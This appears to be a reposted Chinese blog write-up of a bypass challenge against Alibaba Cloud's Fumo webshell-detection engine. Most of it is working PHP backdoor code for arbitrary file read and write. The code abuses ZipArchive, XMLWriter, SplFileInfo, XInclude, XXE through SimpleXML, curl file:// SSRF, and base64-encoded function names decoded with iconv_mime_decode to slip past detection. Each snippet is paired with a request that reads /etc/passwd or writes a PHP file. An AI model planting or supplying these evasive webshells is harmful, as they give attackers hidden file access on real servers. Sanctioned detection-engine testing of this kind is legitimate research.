记一次阿里云伏魔引擎-多功能场景绕过测试

admin 2023年2月12日13:51:41评论36 views字数 4600阅读15分20秒阅读模式

前言

本期的伏魔挑战赛新增多功能场景的玩法,主要包括四大场景:

  1. 任意文件读取

  2. 任意文件写入

  3. 服务器任意信息窃取类后门

  4. 网络代理类后门

本文主要对任意文件读取和任意文件写入进行免杀。主要存在三种思路:

  1. 寻找不常见且与文件相关的类或方法,如zip、xml等

  2. 利用漏洞达到文件读取的目的,如xxe和ssrf以及文件包含

  3. 强制绕过常见文件读取与写入函数

寻找不常见且与文件相关的类或方法

利用highlight_file&show_source读取文件

用源码高亮函数highlight_file读取文件

<?php
$tmp = filter_input_array(2-1);
@highlight_file($tmp["file"]);

highlight_file的别名函数show_source

<?php
$tmp = filter_input_array(2-1);
@show_source($tmp["file"]);

利用ZipArchive类读写文件

任意文件写入

利用ZipArchive类写入文件的思路:将写入的内容先写进压缩包中,再进行解压缩至任意目录

<?php
$zip = new ZipArchive();
$tmp = filter_input_array(2-1);
$zipTmpPath = $tmp["tmpzip"];
if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$zipTmpPath>n");
}
$zip->addFromString($tmp["filename"], $tmp["content"]);
$zip->close();

if($zip->open($zipTmpPath) !== TRUE){
exit("cannot open <$zipTmpPath>n");
}
$flag = $zip->extractTo($tmp["filePath"]);
echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";
$zip->close();
unlink($zipTmpPath);

利用方式(get请求):

各个参数解释:确保参数和参数所表示的目录有写入权限
?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmptmpzipfilePath

  1. tmpzip:临时创建的zip文件路径,需要将文件内容写入到zip文件

  2. filename:zip压缩包中的文件名,也是解压之后的文件名

  3. content:filename文件的内容

  4. filePath:压缩包解压到的路径

任意文件读取

利用ZipArchive读取文件的思路:将要读取的文件添加到压缩包中,读取压缩包中的文件内容

<?php
$tmp = filter_input_array(2-1);
$zipTmpPath = $tmp["tmpzip"];
$filename = $tmp["file"];
$zip = new ZipArchive();
if($zip -> open($zipTmpPath, ZipArchive::OVERWRITE)){
exit("cannot open <$zipTmpPath>n");
}
$zip -> addFile($filename,basename($filename));
$zip->close();
if($zip->open($zipTmpPath) !== TRUE){
exit("cannot open <$zipTmpPath>n");
}
echo $zip->getFromName(basename($filename));
$zip->close();

利用方式(get请求):

各个参数解释:确保tmpzip参数所表示的目录有写入权限
?tmpzip=/tmp/tgao.zip&file=/etc/passwd

  1. tmpzip:临时创建的zip文件路径,需要将待读取的文件内容写入到zip文件

  2. file:带读取的文件路径

利用XMLWriter类写入文件

<?php
$tmp = filter_input_array(1);
$w = new XMLWriter();
$w->openUri($tmp["file"]);
$w->writeRaw($tmp["content"]);

利用方式:
另外php是个神奇的语言,XMLWriter类的openUri和writeRaw方法可以直接调用,即不通过创建XMLWriter类,具体如下:
?file=/tmp/test&content=hello

<?php
$tmp = filter_input_array(1);
$w = xmlwriter_open_uri($tmp["file"]);
xmlwriter_write_raw($w,$tmp["content"]);

利用SplFileInfo类读取文件

<?php
$b = filter_input(1,"file");
$fileinfo = new SplFileInfo($b);
$fileobj = $fileinfo->openFile("r");
while (!$fileobj->eof()) {
echo $fileobj->fgets()."</br>";
}

利用方式:?file=/etc/passwd

利用DOMDocument::xinclude读取文件

<?php
$a = filter_input(1,"file");;
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="$a" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();

利用方式:?file=/etc/passwd

利用漏洞读取文件

利用XXE漏洞读取文件

利用SimpleXMLElement类构造XXE漏洞

<?php
$tmp = filter_input_array(1);
$xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$tmp["file"].""> ]> <root> <name>&xxe;</name> </root>";
$data = new SimpleXMLElement($xml,2);
echo $data->name;

利用方式:?file=/etc/passwd

利用SimpleXMLIterator类构造XXE漏洞

SimpleXMLIterator是SimpleXMLElement子类...

<?php
$tmp = filter_input_array(1);
$xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$tmp["file"].""> ]> <root> <name>&xxe;</name> </root>";
$data = new SimpleXMLIterator($xml,2);
echo $data->name;

利用方式:?file=/etc/passwd

利用simplexml_load_string构造XXE漏洞

利用simplexml_load_string去调用SimpleXMLElement

<?php
$xml = filter_input(1,"file");
$xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///".$xml.""> ]> <root> <name>&xxe;</name> </root>";
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
echo $data->name;

利用方式:?file=/etc/passwd

利用SSRF漏洞读取文件

<?php
$tmp = filter_input_array(1);
$url = "file:///".$tmp["file"];
if (function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}else{
echo "no curl extension";
}

利用方式:?file=/etc/passwd

强制绕过常见文件读取与写入函数

利用iconv_mime_decode编码fopen+fread+filesize函数

<?php
$read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?=");
$open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?=");
$size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?=");
$file = $_GET["file"];
$fp = $open($file, "r");
$str = $read($fp, $size($file));
echo $str;

利用方式:?file=/etc/passwd

利用iconv_mime_decode_headers编码file函数

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?ZmlsZQ==?=
Received: from localhost (localhost [127.0.0.1]) by localhost
with SMTP id example for <[email protected]>;
Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
(envelope-from [email protected])
EOF;
$headers = iconv_mime_decode_headers($headers_string, 0, "");
$Subject = $headers["Subject"];
$file_arr = $Subject($_GET["file"]);
foreach($file_arr as $value){
echo $value."<br />";
}

利用方式:?file=/etc/passwd

最后

大佬带带!!!

来源先知社区的【TGAO师傅

注:如有侵权请联系删除

记一次阿里云伏魔引擎-多功能场景绕过测试

 

如需进群进行技术交流,请扫该二维码

记一次阿里云伏魔引擎-多功能场景绕过测试


原文始发于微信公众号(衡阳信安):记一次阿里云伏魔引擎-多功能场景绕过测试

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月12日13:51:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次阿里云伏魔引擎-多功能场景绕过测试http://cn-sec.com/archives/1548450.html

发表评论

匿名网友 填写信息